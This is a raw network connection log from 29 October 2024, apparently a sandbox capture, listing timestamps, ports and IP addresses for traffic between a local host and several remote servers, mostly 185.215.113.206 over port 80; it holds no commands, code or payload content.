Oct 29, 2024 20:35:22.730731010 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730741024 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730751991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730765104 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730779886 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730779886 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730886936 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730906963 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730922937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730932951 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730945110 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730966091 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730967999 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730977058 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730988979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730999947 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731008053 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.731008053 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.731010914 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731026888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731038094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731082916 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.731082916 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.731713057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731723070 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731734991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731745958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731802940 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.731802940 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.731828928 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731861115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.731920958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731931925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731945038 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731961966 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731966019 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.731973886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.731986046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732023001 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732023001 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732070923 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732081890 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732093096 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732105017 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732124090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732134104 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732146978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732148886 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732148886 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732189894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732189894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732290030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732398033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732409954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732420921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732433081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732443094 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732444048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732464075 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732498884 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732511044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732523918 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732527018 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732527018 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732536077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732547045 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732558012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732594013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732594013 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732594013 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732604027 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732616901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732629061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732640982 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732661963 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732661963 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732685089 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732695103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732707977 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732717991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.732722998 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732722998 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.732991934 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.739336967 CET	443	49926	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.741234064 CET	49941	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:22.741271019 CET	443	49941	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:22.741494894 CET	49941	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:22.741682053 CET	49942	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:22.741734028 CET	443	49942	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:22.741826057 CET	49942	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:22.743100882 CET	49941	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:22.743109941 CET	443	49941	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:22.744462967 CET	49942	443	192.168.2.5	23.222.241.140
Oct 29, 2024 20:35:22.744477987 CET	443	49942	23.222.241.140	192.168.2.5
Oct 29, 2024 20:35:22.752048969 CET	49943	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:22.752094984 CET	443	49943	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:22.752240896 CET	49943	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:22.752327919 CET	49944	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:22.752362013 CET	443	49944	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:22.752460957 CET	49943	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:22.752476931 CET	443	49943	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:22.752499104 CET	49944	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:22.752602100 CET	49944	443	192.168.2.5	204.79.197.219
Oct 29, 2024 20:35:22.752610922 CET	443	49944	204.79.197.219	192.168.2.5
Oct 29, 2024 20:35:22.779918909 CET	49926	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.829164028 CET	443	49926	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.829190016 CET	443	49926	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.829247952 CET	49926	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.829251051 CET	443	49926	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.829485893 CET	49926	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.830701113 CET	49926	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.830719948 CET	443	49926	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.831171989 CET	49945	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.831228971 CET	443	49945	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.831322908 CET	49945	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.831835032 CET	49945	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.831855059 CET	443	49945	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.874541998 CET	443	49927	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:22.878290892 CET	49927	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:22.878314018 CET	443	49927	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:22.878736973 CET	443	49927	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:22.880058050 CET	49927	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:22.880178928 CET	443	49927	20.75.60.91	192.168.2.5
Oct 29, 2024 20:35:22.881414890 CET	49927	443	192.168.2.5	20.75.60.91
Oct 29, 2024 20:35:22.891271114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891366005 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891377926 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891388893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891406059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891407967 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891407967 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891417980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891429901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891453981 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891490936 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891495943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891510963 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891530037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891541004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891552925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891556978 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891556978 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891563892 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891580105 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891593933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891602993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891617060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891628027 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891638994 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891650915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891650915 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891650915 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891658068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891704082 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891704082 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891710043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891736031 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891746998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891760111 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891772032 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891787052 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891787052 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891855001 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891868114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891880035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891880035 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891892910 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891902924 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891906023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891943932 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891943932 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.891983986 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.891993999 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892005920 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892019987 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892054081 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892054081 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892059088 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892070055 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892081976 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892101049 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892102003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892112970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892143965 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892151117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892162085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892173052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892182112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892182112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892221928 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892247915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892258883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892271996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892282009 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892285109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892297983 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892308950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892335892 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892335892 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892349958 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892451048 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892467022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892477989 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892488956 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892499924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892504930 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892504930 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892512083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.892554998 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.892554998 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.893146992 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893167019 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893178940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893191099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893203020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893213987 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893225908 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893227100 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.893227100 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.893237114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893249035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893261909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893268108 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.893268108 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.893282890 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893294096 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893306971 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893318892 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.893318892 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.893318892 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893332005 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893343925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893356085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893372059 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.893372059 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.893821955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.893901110 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893914938 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.893969059 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.893969059 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.898586988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898627043 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.898629904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898643017 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898680925 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.898680925 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.898806095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898818016 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898829937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898843050 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898850918 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.898855925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898868084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898874998 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.898874998 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.898880005 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898890972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898901939 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898915052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898919106 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.898926020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898943901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898955107 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.898956060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898967028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898979902 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.898979902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.898993969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899004936 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899015903 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899027109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899028063 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899028063 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899039030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899049997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899056911 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899063110 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899075031 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899092913 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899099112 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899100065 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899106026 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899116993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899128914 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899139881 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899153948 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899163961 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899164915 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899164915 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899175882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899187088 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899199009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899207115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899207115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899209976 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899221897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899234056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899250984 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899250984 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899252892 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899264097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899282932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899300098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899306059 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899306059 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899321079 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899334908 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899334908 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899347067 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899358988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899369955 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899380922 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899393082 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899404049 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899404049 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899404049 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899415970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899432898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899435997 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899435997 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.899451017 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899460077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899471998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899485111 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899498940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899509907 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899521112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899533987 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899547100 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899559021 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899571896 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899585009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899595976 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899610043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899621964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899633884 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899646044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899658918 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899668932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.899679899 CET	80	49863	185.215.113.206	192.168.2.5
